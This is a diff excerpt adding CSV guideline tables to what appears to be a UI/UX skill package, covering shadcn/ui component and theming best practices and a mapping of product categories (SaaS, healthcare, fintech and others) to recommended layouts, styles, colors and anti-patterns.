+43,Advanced,Event Handler Refs,useeffectevent ref handler,React/Next.js,Store callbacks in refs for stable effect subscriptions,Use useEffectEvent for stable handlers,Re-subscribe on every callback change,"const onEvent = useEffectEvent(handler); useEffect(() => { listen(onEvent) }, [])","useEffect(() => { listen(handler) }, [handler]) // re-subscribes",Low
+44,Advanced,useLatest Hook,uselatest ref callback,React/Next.js,Access latest values in callbacks without adding to dependency arrays,Use useLatest for fresh values in stable callbacks,Add callback to effect dependencies,"const cbRef = useLatest(cb); useEffect(() => { setTimeout(() => cbRef.current()) }, [])","useEffect(() => { setTimeout(() => cb()) }, [cb]) // re-runs",Low

skills/ui-ux-pro-max/data/stacks/shadcn.csv

@@ -0,0 +1,61 @@
+No,Category,Guideline,Description,Do,Don't,Code Good,Code Bad,Severity,Docs URL
+1,Setup,Use CLI for installation,Install components via shadcn CLI for proper setup,npx shadcn@latest add component-name,Manual copy-paste from docs,npx shadcn@latest add button,Copy component code manually,High,https://ui.shadcn.com/docs/cli
+2,Setup,Initialize project properly,Run init command to set up components.json and globals.css,npx shadcn@latest init before adding components,Skip init and add components directly,npx shadcn@latest init,npx shadcn@latest add button (without init),High,https://ui.shadcn.com/docs/installation
+3,Setup,Configure path aliases,Set up proper import aliases in tsconfig and components.json,Use @/components/ui path aliases,Relative imports like ../../components,import { Button } from "@/components/ui/button",import { Button } from "../../components/ui/button",Medium,https://ui.shadcn.com/docs/installation
+4,Theming,Use CSS variables for colors,Define colors as CSS variables in globals.css for theming,CSS variables in :root and .dark,Hardcoded color values in components,bg-primary text-primary-foreground,bg-blue-500 text-white,High,https://ui.shadcn.com/docs/theming
+5,Theming,Follow naming convention,Use semantic color names with foreground pattern,primary/primary-foreground secondary/secondary-foreground,Generic color names,--primary --primary-foreground,--blue --light-blue,Medium,https://ui.shadcn.com/docs/theming
+6,Theming,Support dark mode,Include .dark class styles for all custom CSS,Define both :root and .dark color schemes,Only light mode colors,.dark { --background: 240 10% 3.9%; },No .dark class styles,High,https://ui.shadcn.com/docs/dark-mode
+7,Components,Use component variants,Leverage cva variants for consistent styling,Use variant prop for different styles,Inline conditional classes,<Button variant="destructive">,<Button className={isError ? "bg-red-500" : "bg-blue-500"}>,Medium,https://ui.shadcn.com/docs/components/button
+8,Components,Compose with className,Add custom classes via className prop for overrides,Extend with className for one-off customizations,Modify component source directly,<Button className="w-full">,Edit button.tsx to add w-full,Medium,https://ui.shadcn.com/docs/components/button
+9,Components,Use size variants consistently,Apply size prop for consistent sizing across components,size="sm" size="lg" for sizing,Mix size classes inconsistently,<Button size="lg">,<Button className="text-lg px-8 py-4">,Medium,https://ui.shadcn.com/docs/components/button
+10,Components,Prefer compound components,Use provided sub-components for complex UI,Card + CardHeader + CardContent pattern,Single component with many props,<Card><CardHeader><CardTitle>,<Card title="x" content="y" footer="z">,Medium,https://ui.shadcn.com/docs/components/card
+11,Dialog,Use Dialog for modal content,Dialog component for overlay modal windows,Dialog for confirmations forms details,Alert for modal content,<Dialog><DialogContent>,<Alert> styled as modal,High,https://ui.shadcn.com/docs/components/dialog
+12,Dialog,Handle dialog state properly,Use open and onOpenChange for controlled dialogs,Controlled state with useState,Uncontrolled with default open only,"<Dialog open={open} onOpenChange={setOpen}>","<Dialog defaultOpen={true}>",Medium,https://ui.shadcn.com/docs/components/dialog
+13,Dialog,Include proper dialog structure,Use DialogHeader DialogTitle DialogDescription,Complete semantic structure,Missing title or description,<DialogHeader><DialogTitle><DialogDescription>,<DialogContent><p>Content</p></DialogContent>,High,https://ui.shadcn.com/docs/components/dialog
+14,Sheet,Use Sheet for side panels,Sheet component for slide-out panels and drawers,Sheet for navigation filters settings,Dialog for side content,<Sheet side="right">,<Dialog> with slide animation,Medium,https://ui.shadcn.com/docs/components/sheet
+15,Sheet,Specify sheet side,Set side prop for sheet slide direction,Explicit side="left" or side="right",Default side without consideration,<Sheet><SheetContent side="left">,<Sheet><SheetContent>,Low,https://ui.shadcn.com/docs/components/sheet
+16,Form,Use Form with react-hook-form,Integrate Form component with react-hook-form for validation,useForm + Form + FormField pattern,Custom form handling without Form,<Form {...form}><FormField control={form.control}>,<form onSubmit={handleSubmit}>,High,https://ui.shadcn.com/docs/components/form
+17,Form,Use FormField for inputs,Wrap inputs in FormField for proper labeling and errors,FormField + FormItem + FormLabel + FormControl,Input without FormField wrapper,<FormField><FormItem><FormLabel><FormControl><Input>,<Input onChange={...}>,High,https://ui.shadcn.com/docs/components/form
+18,Form,Display form messages,Use FormMessage for validation error display,FormMessage after FormControl,Custom error text without FormMessage,<FormControl><Input/></FormControl><FormMessage/>,<Input/>{error && <span>{error}</span>},Medium,https://ui.shadcn.com/docs/components/form
+19,Form,Use Zod for validation,Define form schema with Zod for type-safe validation,zodResolver with form schema,Manual validation logic,zodResolver(formSchema),validate: (values) => { if (!values.email) },Medium,https://ui.shadcn.com/docs/components/form
+20,Select,Use Select for dropdowns,Select component for option selection,Select for choosing from list,Native select element,<Select><SelectTrigger><SelectContent>,<select><option>,Medium,https://ui.shadcn.com/docs/components/select
+21,Select,Structure Select properly,Include Trigger Value Content and Items,Complete Select structure,Missing SelectValue or SelectContent,<SelectTrigger><SelectValue/></SelectTrigger><SelectContent><SelectItem>,<Select><option>,High,https://ui.shadcn.com/docs/components/select
+22,Command,Use Command for search,Command component for searchable lists and palettes,Command for command palette search,Input with custom dropdown,<Command><CommandInput><CommandList>,<Input><div className="dropdown">,Medium,https://ui.shadcn.com/docs/components/command
+23,Command,Group command items,Use CommandGroup for categorized items,CommandGroup with heading for sections,Flat list without grouping,<CommandGroup heading="Suggestions"><CommandItem>,<CommandItem> without groups,Low,https://ui.shadcn.com/docs/components/command
+24,Table,Use Table for data display,Table component for structured data,Table for tabular data display,Div grid for table-like layouts,<Table><TableHeader><TableBody><TableRow>,<div className="grid">,Medium,https://ui.shadcn.com/docs/components/table
+25,Table,Include proper table structure,Use TableHeader TableBody TableRow TableCell,Semantic table structure,Missing thead or tbody,<TableHeader><TableRow><TableHead>,<Table><TableRow> without header,High,https://ui.shadcn.com/docs/components/table
+26,DataTable,Use DataTable for complex tables,Combine Table with TanStack Table for features,DataTable pattern for sorting filtering pagination,Custom table implementation,useReactTable + Table components,Custom sort filter pagination logic,Medium,https://ui.shadcn.com/docs/components/data-table
+27,Tabs,Use Tabs for content switching,Tabs component for tabbed interfaces,Tabs for related content sections,Custom tab implementation,<Tabs><TabsList><TabsTrigger><TabsContent>,<div onClick={() => setTab(...)},Medium,https://ui.shadcn.com/docs/components/tabs
+28,Tabs,Set default tab value,Specify defaultValue for initial tab,defaultValue on Tabs component,No default leaving first tab,<Tabs defaultValue="account">,<Tabs> without defaultValue,Low,https://ui.shadcn.com/docs/components/tabs
+29,Accordion,Use Accordion for collapsible,Accordion for expandable content sections,Accordion for FAQ settings panels,Custom collapse implementation,<Accordion><AccordionItem><AccordionTrigger>,<div onClick={() => setOpen(!open)}>,Medium,https://ui.shadcn.com/docs/components/accordion
+30,Accordion,Choose accordion type,Use type="single" or type="multiple" appropriately,type="single" for one open type="multiple" for many,Default type without consideration,<Accordion type="single" collapsible>,<Accordion> without type,Low,https://ui.shadcn.com/docs/components/accordion
+31,Toast,Use Sonner for toasts,Sonner integration for toast notifications,toast() from sonner for notifications,Custom toast implementation,toast("Event created"),setShowToast(true),Medium,https://ui.shadcn.com/docs/components/sonner
+32,Toast,Add Toaster to layout,Include Toaster component in root layout,<Toaster /> in app layout,Toaster in individual pages,app/layout.tsx: <Toaster />,page.tsx: <Toaster />,High,https://ui.shadcn.com/docs/components/sonner
+33,Toast,Use toast variants,Apply toast.success toast.error for context,Semantic toast methods,Generic toast for all messages,toast.success("Saved!") toast.error("Failed"),toast("Saved!") toast("Failed"),Medium,https://ui.shadcn.com/docs/components/sonner
+34,Popover,Use Popover for floating content,Popover for dropdown menus and floating panels,Popover for contextual actions,Absolute positioned divs,<Popover><PopoverTrigger><PopoverContent>,<div className="relative"><div className="absolute">,Medium,https://ui.shadcn.com/docs/components/popover
+35,Popover,Handle popover alignment,Use align and side props for positioning,Explicit alignment configuration,Default alignment for all,<PopoverContent align="start" side="bottom">,<PopoverContent>,Low,https://ui.shadcn.com/docs/components/popover
+36,DropdownMenu,Use DropdownMenu for actions,DropdownMenu for action lists and context menus,DropdownMenu for user menu actions,Popover for action lists,<DropdownMenu><DropdownMenuTrigger><DropdownMenuContent>,<Popover> for menu actions,Medium,https://ui.shadcn.com/docs/components/dropdown-menu
+37,DropdownMenu,Group menu items,Use DropdownMenuGroup and DropdownMenuSeparator,Organized menu with separators,Flat list of items,<DropdownMenuGroup><DropdownMenuItem><DropdownMenuSeparator>,<DropdownMenuItem> without organization,Low,https://ui.shadcn.com/docs/components/dropdown-menu
+38,Tooltip,Use Tooltip for hints,Tooltip for icon buttons and truncated text,Tooltip for additional context,Title attribute for tooltips,<Tooltip><TooltipTrigger><TooltipContent>,<button title="Delete">,Medium,https://ui.shadcn.com/docs/components/tooltip
+39,Tooltip,Add TooltipProvider,Wrap app or section in TooltipProvider,TooltipProvider at app level,TooltipProvider per tooltip,<TooltipProvider><App/></TooltipProvider>,<Tooltip><TooltipProvider>,High,https://ui.shadcn.com/docs/components/tooltip
+40,Skeleton,Use Skeleton for loading,Skeleton component for loading placeholders,Skeleton matching content layout,Spinner for content loading,<Skeleton className="h-4 w-[200px]"/>,<Spinner/> for card loading,Medium,https://ui.shadcn.com/docs/components/skeleton
+41,Skeleton,Match skeleton dimensions,Size skeleton to match loaded content,Skeleton same size as expected content,Generic skeleton size,<Skeleton className="h-12 w-12 rounded-full"/>,<Skeleton/> without sizing,Medium,https://ui.shadcn.com/docs/components/skeleton
+42,AlertDialog,Use AlertDialog for confirms,AlertDialog for destructive action confirmation,AlertDialog for delete confirmations,Dialog for confirmations,<AlertDialog><AlertDialogTrigger><AlertDialogContent>,<Dialog> for delete confirmation,High,https://ui.shadcn.com/docs/components/alert-dialog
+43,AlertDialog,Include action buttons,Use AlertDialogAction and AlertDialogCancel,Standard confirm/cancel pattern,Custom buttons in AlertDialog,<AlertDialogCancel>Cancel</AlertDialogCancel><AlertDialogAction>,<Button>Cancel</Button><Button>Confirm</Button>,Medium,https://ui.shadcn.com/docs/components/alert-dialog
+44,Sidebar,Use Sidebar for navigation,Sidebar component for app navigation,Sidebar for main app navigation,Custom sidebar implementation,<SidebarProvider><Sidebar><SidebarContent>,<div className="w-64 fixed">,Medium,https://ui.shadcn.com/docs/components/sidebar
+45,Sidebar,Wrap in SidebarProvider,Use SidebarProvider for sidebar state management,SidebarProvider at layout level,Sidebar without provider,<SidebarProvider><Sidebar></SidebarProvider>,<Sidebar> without provider,High,https://ui.shadcn.com/docs/components/sidebar
+46,Sidebar,Use SidebarTrigger,Include SidebarTrigger for mobile toggle,SidebarTrigger for responsive toggle,Custom toggle button,<SidebarTrigger/>,<Button onClick={() => toggleSidebar()}>,Medium,https://ui.shadcn.com/docs/components/sidebar
+47,Chart,Use Chart for data viz,Chart component with Recharts integration,Chart component for dashboards,Direct Recharts without wrapper,<ChartContainer config={chartConfig}>,<ResponsiveContainer><BarChart>,Medium,https://ui.shadcn.com/docs/components/chart
+48,Chart,Define chart config,Create chartConfig for consistent theming,chartConfig with color definitions,Inline colors in charts,"{ desktop: { label: ""Desktop"", color: ""#2563eb"" } }",<Bar fill="#2563eb"/>,Medium,https://ui.shadcn.com/docs/components/chart
+49,Chart,Use ChartTooltip,Apply ChartTooltip for interactive charts,ChartTooltip with ChartTooltipContent,Recharts Tooltip directly,<ChartTooltip content={<ChartTooltipContent/>}/>,<Tooltip/> from recharts,Low,https://ui.shadcn.com/docs/components/chart
+50,Blocks,Use blocks for scaffolding,Start from shadcn blocks for common layouts,npx shadcn@latest add dashboard-01,Build dashboard from scratch,npx shadcn@latest add login-01,Custom login page from scratch,Medium,https://ui.shadcn.com/blocks
+51,Blocks,Customize block components,Modify copied block code to fit needs,Edit block files after installation,Use blocks without modification,Customize dashboard-01 layout,Use dashboard-01 as-is,Low,https://ui.shadcn.com/blocks
+52,A11y,Use semantic components,Shadcn components have built-in ARIA,Rely on component accessibility,Override ARIA attributes,<Button> has button role,<div role="button">,High,https://ui.shadcn.com/docs/components/button
+53,A11y,Maintain focus management,Dialog Sheet handle focus automatically,Let components manage focus,Custom focus handling,<Dialog> traps focus,document.querySelector().focus(),High,https://ui.shadcn.com/docs/components/dialog
+54,A11y,Provide labels,Use FormLabel and aria-label appropriately,FormLabel for form inputs,Placeholder as only label,<FormLabel>Email</FormLabel><Input/>,<Input placeholder="Email"/>,High,https://ui.shadcn.com/docs/components/form
+55,Performance,Import components individually,Import only needed components,Named imports from component files,Import all from index,import { Button } from "@/components/ui/button",import { Button Card Dialog } from "@/components/ui",Medium,
+56,Performance,Lazy load dialogs,Dynamic import for heavy dialog content,React.lazy for dialog content,Import all dialogs upfront,const HeavyContent = lazy(() => import('./Heavy')),import HeavyContent from './Heavy',Medium,
+57,Customization,Extend variants with cva,Add new variants using class-variance-authority,Extend buttonVariants for new styles,Inline classes for variants,"variants: { size: { xl: ""h-14 px-8"" } }",className="h-14 px-8",Medium,https://ui.shadcn.com/docs/components/button
+58,Customization,Create custom components,Build new components following shadcn patterns,Use cn() and cva for custom components,Different patterns for custom,const Custom = ({ className }) => <div className={cn("base" className)}>,const Custom = ({ style }) => <div style={style}>,Medium,
+59,Patterns,Use asChild for composition,asChild prop for component composition,Slot pattern with asChild,Wrapper divs for composition,<Button asChild><Link href="/">,<Button><Link href="/"></Link></Button>,Medium,https://ui.shadcn.com/docs/components/button
+60,Patterns,Combine with React Hook Form,Form + useForm for complete forms,RHF Controller with shadcn inputs,Custom form state management,<FormField control={form.control} name="email">,<Input value={email} onChange={(e) => setEmail(e.target.value)},High,https://ui.shadcn.com/docs/components/form

skills/ui-ux-pro-max/data/ui-reasoning.csv

@@ -0,0 +1,101 @@
+No,UI_Category,Recommended_Pattern,Style_Priority,Color_Mood,Typography_Mood,Key_Effects,Decision_Rules,Anti_Patterns,Severity
+1,SaaS (General),Hero + Features + CTA,Glassmorphism + Flat Design,Trust blue + Accent contrast,Professional + Hierarchy,Subtle hover (200-250ms) + Smooth transitions,"{""if_ux_focused"": ""prioritize-minimalism"", ""if_data_heavy"": ""add-glassmorphism""}",Excessive animation + Dark mode by default,HIGH
+2,Micro SaaS,Minimal & Direct + Demo,Flat Design + Vibrant & Block,Vibrant primary + White space,Bold + Clean typography,Large CTA hover (300ms) + Scroll reveal,"{""if_quick_onboarding"": ""reduce-steps"", ""if_demo_available"": ""feature-interactive-demo""}",Complex onboarding flow + Cluttered layout,HIGH
+3,E-commerce,Feature-Rich Showcase,Vibrant & Block-based,Brand primary + Success green,Engaging + Clear hierarchy,Card hover lift (200ms) + Scale effect,"{""if_luxury"": ""switch-to-liquid-glass"", ""if_conversion_focused"": ""add-urgency-colors""}",Flat design without depth + Text-heavy pages,HIGH
+4,E-commerce Luxury,Feature-Rich Showcase,Liquid Glass + Glassmorphism,Premium colors + Minimal accent,Elegant + Refined typography,Chromatic aberration + Fluid animations (400-600ms),"{""if_checkout"": ""emphasize-trust"", ""if_hero_needed"": ""use-3d-hyperrealism""}",Vibrant & Block-based + Playful colors,HIGH
+5,Healthcare App,Social Proof-Focused,Neumorphism + Accessible & Ethical,Calm blue + Health green,Readable + Large type (16px+),Soft box-shadow + Smooth press (150ms),"{""must_have"": ""wcag-aaa-compliance"", ""if_medication"": ""red-alert-colors""}",Bright neon colors + Motion-heavy animations + AI purple/pink gradients,HIGH
+6,Fintech/Crypto,Conversion-Optimized,Glassmorphism + Dark Mode (OLED),Dark tech colors + Vibrant accents,Modern + Confident typography,Real-time chart animations + Alert pulse/glow,"{""must_have"": ""security-badges"", ""if_real_time"": ""add-streaming-data""}",Light backgrounds + No security indicators,HIGH
+7,Education,Feature-Rich Showcase,Claymorphism + Micro-interactions,Playful colors + Clear hierarchy,Friendly + Engaging typography,Soft press (200ms) + Fluffy elements,"{""if_gamification"": ""add-progress-animation"", ""if_children"": ""increase-playfulness""}",Dark modes + Complex jargon,MEDIUM
+8,Portfolio/Personal,Storytelling-Driven,Motion-Driven + Minimalism,Brand primary + Artistic,Expressive + Variable typography,Parallax (3-5 layers) + Scroll-triggered reveals,"{""if_creative_field"": ""add-brutalism"", ""if_minimal_portfolio"": ""reduce-motion""}",Corporate templates + Generic layouts,MEDIUM
+9,Government/Public,Minimal & Direct,Accessible & Ethical + Minimalism,Professional blue + High contrast,Clear + Large typography,Clear focus rings (3-4px) + Skip links,"{""must_have"": ""wcag-aaa"", ""must_have"": ""keyboard-navigation""}",Ornate design + Low contrast + Motion effects + AI purple/pink gradients,HIGH
+10,Fintech (Banking),Trust & Authority,Minimalism + Accessible & Ethical,Navy + Trust Blue + Gold,Professional + Trustworthy,Smooth state transitions + Number animations,"{""must_have"": ""security-first"", ""if_dashboard"": ""use-dark-mode""}",Playful design + Unclear fees + AI purple/pink gradients,HIGH
+11,Social Media App,Feature-Rich Showcase,Vibrant & Block-based + Motion-Driven,Vibrant + Engagement colors,Modern + Bold typography,Large scroll animations + Icon animations,"{""if_engagement_metric"": ""add-motion"", ""if_content_focused"": ""minimize-chrome""}",Heavy skeuomorphism + Accessibility ignored,MEDIUM
+12,Startup Landing,Hero-Centric + Trust,Motion-Driven + Vibrant & Block,Bold primaries + Accent contrast,Modern + Energetic typography,Scroll-triggered animations + Parallax,"{""if_pre_launch"": ""use-waitlist-pattern"", ""if_video_ready"": ""add-hero-video""}",Static design + No video + Poor mobile,HIGH
+13,Gaming,Feature-Rich Showcase,3D & Hyperrealism + Retro-Futurism,Vibrant + Neon + Immersive,Bold + Impactful typography,WebGL 3D rendering + Glitch effects,"{""if_competitive"": ""add-real-time-stats"", ""if_casual"": ""increase-playfulness""}",Minimalist design + Static assets,HIGH
+14,Creative Agency,Storytelling-Driven,Brutalism + Motion-Driven,Bold primaries + Artistic freedom,Bold + Expressive typography,CRT scanlines + Neon glow + Glitch effects,"{""must_have"": ""case-studies"", ""if_boutique"": ""increase-artistic-freedom""}",Corporate minimalism + Hidden portfolio,HIGH
+15,Wellness/Mental Health,Social Proof-Focused,Neumorphism + Accessible & Ethical,Calm Pastels + Trust colors,Calming + Readable typography,Soft press + Breathing animations,"{""must_have"": ""privacy-first"", ""if_meditation"": ""add-breathing-animation""}",Bright neon + Motion overload,HIGH
+16,Restaurant/Food,Hero-Centric + Conversion,Vibrant & Block-based + Motion-Driven,Warm colors (Orange Red Brown),Appetizing + Clear typography,Food image reveal + Menu hover effects,"{""must_have"": ""high_quality_images"", ""if_delivery"": ""emphasize-speed""}",Low-quality imagery + Outdated hours,HIGH
+17,Real Estate,Hero-Centric + Feature-Rich,Glassmorphism + Minimalism,Trust Blue + Gold + White,Professional + Confident,3D property tour zoom + Map hover,"{""if_luxury"": ""add-3d-models"", ""must_have"": ""map-integration""}",Poor photos + No virtual tours,HIGH
+18,Travel/Tourism,Storytelling-Driven + Hero,Aurora UI + Motion-Driven,Vibrant destination + Sky Blue,Inspirational + Engaging,Destination parallax + Itinerary animations,"{""if_experience_focused"": ""use-storytelling"", ""must_have"": ""mobile-booking""}",Generic photos + Complex booking,HIGH
+19,SaaS Dashboard,Data-Dense Dashboard,Data-Dense + Heat Map,Cool to Hot gradients + Neutral grey,Clear + Readable typography,Hover tooltips + Chart zoom + Real-time pulse,"{""must_have"": ""real-time-updates"", ""if_large_dataset"": ""prioritize-performance""}",Ornate design + Slow rendering,HIGH
+20,B2B SaaS Enterprise,Feature-Rich Showcase,Trust & Authority + Minimal,Professional blue + Neutral grey,Formal + Clear typography,Subtle section transitions + Feature reveals,"{""must_have"": ""case-studies"", ""must_have"": ""roi-messaging""}",Playful design + Hidden features + AI purple/pink gradients,HIGH
+21,Music/Entertainment,Feature-Rich Showcase,Dark Mode (OLED) + Vibrant & Block-based,Dark (#121212) + Vibrant accents + Album art colors,Modern + Bold typography,Waveform visualization + Playlist animations,"{""must_have"": ""audio-player-ux"", ""if_discovery_focused"": ""add-playlist-recommendations""}",Cluttered layout + Poor audio player UX,HIGH
+22,Video Streaming/OTT,Hero-Centric + Feature-Rich,Dark Mode (OLED) + Motion-Driven,Dark bg + Poster colors + Brand accent,Bold + Engaging typography,Video player animations + Content carousel (parallax),"{""must_have"": ""continue-watching"", ""if_personalized"": ""add-recommendations""}",Static layout + Slow video player,HIGH
+23,Job Board/Recruitment,Conversion-Optimized + Feature-Rich,Flat Design + Minimalism,Professional Blue + Success Green + Neutral,Clear + Professional typography,Search/filter animations + Application flow,"{""must_have"": ""advanced-search"", ""if_salary_focused"": ""highlight-compensation""}",Outdated forms + Hidden filters,HIGH
+24,Marketplace (P2P),Feature-Rich Showcase + Social Proof,Vibrant & Block-based + Flat Design,Trust colors + Category colors + Success green,Modern + Engaging typography,Review star animations + Listing hover effects,"{""must_have"": ""seller-profiles"", ""must_have"": ""secure-payment""}",Low trust signals + Confusing layout,HIGH
+25,Logistics/Delivery,Feature-Rich Showcase + Real-Time,Minimalism + Flat Design,Blue (#2563EB) + Orange (tracking) + Green,Clear + Functional typography,Real-time tracking animation + Status pulse,"{""must_have"": ""tracking-map"", ""must_have"": ""delivery-updates""}",Static tracking + No map integration + AI purple/pink gradients,HIGH
+26,Agriculture/Farm Tech,Feature-Rich Showcase,Organic Biophilic + Flat Design,Earth Green (#4A7C23) + Brown + Sky Blue,Clear + Informative typography,Data visualization + Weather animations,"{""must_have"": ""sensor-dashboard"", ""if_crop_focused"": ""add-health-indicators""}",Generic design + Ignored accessibility + AI purple/pink gradients,MEDIUM
+27,Construction/Architecture,Hero-Centric + Feature-Rich,Minimalism + 3D & Hyperrealism,Grey (#4A4A4A) + Orange (safety) + Blueprint Blue,Professional + Bold typography,3D model viewer + Timeline animations,"{""must_have"": ""project-portfolio"", ""if_team_collaboration"": ""add-real-time-updates""}",2D-only layouts + Poor image quality + AI purple/pink gradients,HIGH
+28,Automotive/Car Dealership,Hero-Centric + Feature-Rich,Motion-Driven + 3D & Hyperrealism,Brand colors + Metallic + Dark/Light,Bold + Confident typography,360 product view + Configurator animations,"{""must_have"": ""vehicle-comparison"", ""must_have"": ""financing-calculator""}",Static product pages + Poor UX,HIGH
+29,Photography Studio,Storytelling-Driven + Hero-Centric,Motion-Driven + Minimalism,Black + White + Minimal accent,Elegant + Minimal typography,Full-bleed gallery + Before/after reveal,"{""must_have"": ""portfolio-showcase"", ""if_booking"": ""add-calendar-system""}",Heavy text + Poor image showcase,HIGH
+30,Coworking Space,Hero-Centric + Feature-Rich,Vibrant & Block-based + Glassmorphism,Energetic colors + Wood tones + Brand,Modern + Engaging typography,Space tour video + Amenity reveal animations,"{""must_have"": ""virtual-tour"", ""must_have"": ""booking-system""}",Outdated photos + Confusing layout,MEDIUM
+31,Cleaning Service,Conversion-Optimized + Trust,Soft UI Evolution + Flat Design,Fresh Blue (#00B4D8) + Clean White + Green,Friendly + Clear typography,Before/after gallery + Service package reveal,"{""must_have"": ""price-transparency"", ""must_have"": ""trust-badges""}",Poor before/after imagery + Hidden pricing,HIGH
+32,Home Services,Conversion-Optimized + Trust,Flat Design + Trust & Authority,Trust Blue + Safety Orange + Grey,Professional + Clear typography,Emergency contact highlight + Service menu animations,"{""must_have"": ""emergency-contact"", ""must_have"": ""certifications-display""}",Hidden contact info + No certifications,HIGH
+33,Childcare/Daycare,Social Proof-Focused + Trust,Claymorphism + Vibrant & Block-based,Playful pastels + Safe colors + Warm,Friendly + Playful typography,Parent portal animations + Activity gallery reveal,"{""must_have"": ""parent-communication"", ""must_have"": ""safety-certifications""}",Generic design + Hidden safety info,HIGH
+34,Senior Care/Elderly,Trust & Authority + Accessible,Accessible & Ethical + Soft UI Evolution,Calm Blue + Warm neutrals + Large text,Large + Clear typography (18px+),Large touch targets + Clear navigation,"{""must_have"": ""wcag-aaa"", ""must_have"": ""family-portal""}",Small text + Complex navigation + AI purple/pink gradients,HIGH
+35,Medical Clinic,Trust & Authority + Conversion,Accessible & Ethical + Minimalism,Medical Blue (#0077B6) + Trust White,Professional + Readable typography,Online booking flow + Doctor profile reveals,"{""must_have"": ""appointment-booking"", ""must_have"": ""insurance-info""}",Outdated interface + Confusing booking + AI purple/pink gradients,HIGH
+36,Pharmacy/Drug Store,Conversion-Optimized + Trust,Flat Design + Accessible & Ethical,Pharmacy Green + Trust Blue + Clean White,Clear + Functional typography,Prescription upload flow + Refill reminders,"{""must_have"": ""prescription-management"", ""must_have"": ""drug-interaction-warnings""}",Confusing layout + Privacy concerns + AI purple/pink gradients,HIGH
+37,Dental Practice,Social Proof-Focused + Conversion,Soft UI Evolution + Minimalism,Fresh Blue + White + Smile Yellow,Friendly + Professional typography,Before/after gallery + Patient testimonial carousel,"{""must_have"": ""before-after-gallery"", ""must_have"": ""appointment-system""}",Poor imagery + No testimonials,HIGH
+38,Veterinary Clinic,Social Proof-Focused + Trust,Claymorphism + Accessible & Ethical,Caring Blue + Pet colors + Warm,Friendly + Welcoming typography,Pet profile management + Service animations,"{""must_have"": ""pet-portal"", ""must_have"": ""emergency-contact""}",Generic design + Hidden services,MEDIUM
+39,News/Media Platform,Hero-Centric + Feature-Rich,Minimalism + Flat Design,Brand colors + High contrast,Clear + Readable typography,Breaking news badge + Article reveal animations,"{""must_have"": ""mobile-first-reading"", ""must_have"": ""category-navigation""}",Cluttered layout + Slow loading,HIGH
+40,Legal Services,Trust & Authority + Minimal,Trust & Authority + Minimalism,Navy Blue (#1E3A5F) + Gold + White,Professional + Authoritative typography,Practice area reveal + Attorney profile animations,"{""must_have"": ""case-results"", ""must_have"": ""credential-display""}",Outdated design + Hidden credentials + AI purple/pink gradients,HIGH
+41,Beauty/Spa/Wellness Service,Hero-Centric + Social Proof,Soft UI Evolution + Neumorphism,Soft pastels (Pink Sage Cream) + Gold accents,Elegant + Calming typography,Soft shadows + Smooth transitions (200-300ms) + Gentle hover,"{""must_have"": ""booking-system"", ""must_have"": ""before-after-gallery"", ""if_luxury"": ""add-gold-accents""}",Bright neon colors + Harsh animations + Dark mode,HIGH
+42,Service Landing Page,Hero-Centric + Trust & Authority,Minimalism + Social Proof-Focused,Brand primary + Trust colors,Professional + Clear typography,Testimonial carousel + CTA hover (200ms),"{""must_have"": ""social-proof"", ""must_have"": ""clear-cta""}",Complex navigation + Hidden contact info,HIGH
+43,B2B Service,Feature-Rich Showcase + Trust,Trust & Authority + Minimalism,Professional blue + Neutral grey,Formal + Clear typography,Section transitions + Feature reveals,"{""must_have"": ""case-studies"", ""must_have"": ""roi-messaging""}",Playful design + Hidden credentials + AI purple/pink gradients,HIGH
+44,Financial Dashboard,Data-Dense Dashboard,Dark Mode (OLED) + Data-Dense,Dark bg + Red/Green alerts + Trust blue,Clear + Readable typography,Real-time number animations + Alert pulse,"{""must_have"": ""real-time-updates"", ""must_have"": ""high-contrast""}",Light mode default + Slow rendering,HIGH
+45,Analytics Dashboard,Data-Dense + Drill-Down,Data-Dense + Heat Map,Cool→Hot gradients + Neutral grey,Clear + Functional typography,Hover tooltips + Chart zoom + Filter animations,"{""must_have"": ""data-export"", ""if_large_dataset"": ""virtualize-lists""}",Ornate design + No filtering,HIGH
+46,Productivity Tool,Interactive Demo + Feature-Rich,Flat Design + Micro-interactions,Clear hierarchy + Functional colors,Clean + Efficient typography,Quick actions (150ms) + Task animations,"{""must_have"": ""keyboard-shortcuts"", ""if_collaboration"": ""add-real-time-cursors""}",Complex onboarding + Slow performance,HIGH
+47,Design System/Component Library,Feature-Rich + Documentation,Minimalism + Accessible & Ethical,Clear hierarchy + Code-like structure,Monospace + Clear typography,Code copy animations + Component previews,"{""must_have"": ""search"", ""must_have"": ""code-examples""}",Poor documentation + No live preview,HIGH
+48,AI/Chatbot Platform,Interactive Demo + Minimal,AI-Native UI + Minimalism,Neutral + AI Purple (#6366F1),Modern + Clear typography,Streaming text + Typing indicators + Fade-in,"{""must_have"": ""conversational-ui"", ""must_have"": ""context-awareness""}",Heavy chrome + Slow response feedback,HIGH
+49,NFT/Web3 Platform,Feature-Rich Showcase,Cyberpunk UI + Glassmorphism,Dark + Neon + Gold (#FFD700),Bold + Modern typography,Wallet connect animations + Transaction feedback,"{""must_have"": ""wallet-integration"", ""must_have"": ""gas-fees-display""}",Light mode default + No transaction status,HIGH
+50,Creator Economy Platform,Social Proof + Feature-Rich,Vibrant & Block-based + Bento Box Grid,Vibrant + Brand colors,Modern + Bold typography,Engagement counter animations + Profile reveals,"{""must_have"": ""creator-profiles"", ""must_have"": ""monetization-display""}",Generic layout + Hidden earnings,MEDIUM
+51,Sustainability/ESG Platform,Trust & Authority + Data,Organic Biophilic + Minimalism,Green (#228B22) + Earth tones,Clear + Informative typography,Progress indicators + Impact animations,"{""must_have"": ""data-transparency"", ""must_have"": ""certification-badges""}",Greenwashing visuals + No data,HIGH
+52,Remote Work/Collaboration,Feature-Rich + Real-Time,Soft UI Evolution + Minimalism,Calm Blue + Neutral grey,Clean + Readable typography,Real-time presence indicators + Notification badges,"{""must_have"": ""status-indicators"", ""must_have"": ""video-integration""}",Cluttered interface + No presence,HIGH
+53,Pet Tech App,Storytelling + Feature-Rich,Claymorphism + Vibrant & Block-based,Playful + Warm colors,Friendly + Playful typography,Pet profile animations + Health tracking charts,"{""must_have"": ""pet-profiles"", ""if_health"": ""add-vet-integration""}",Generic design + No personality,MEDIUM
+54,Smart Home/IoT Dashboard,Real-Time Monitoring,Glassmorphism + Dark Mode (OLED),Dark + Status indicator colors,Clear + Functional typography,Device status pulse + Quick action animations,"{""must_have"": ""real-time-controls"", ""must_have"": ""energy-monitoring""}",Slow updates + No automation,HIGH
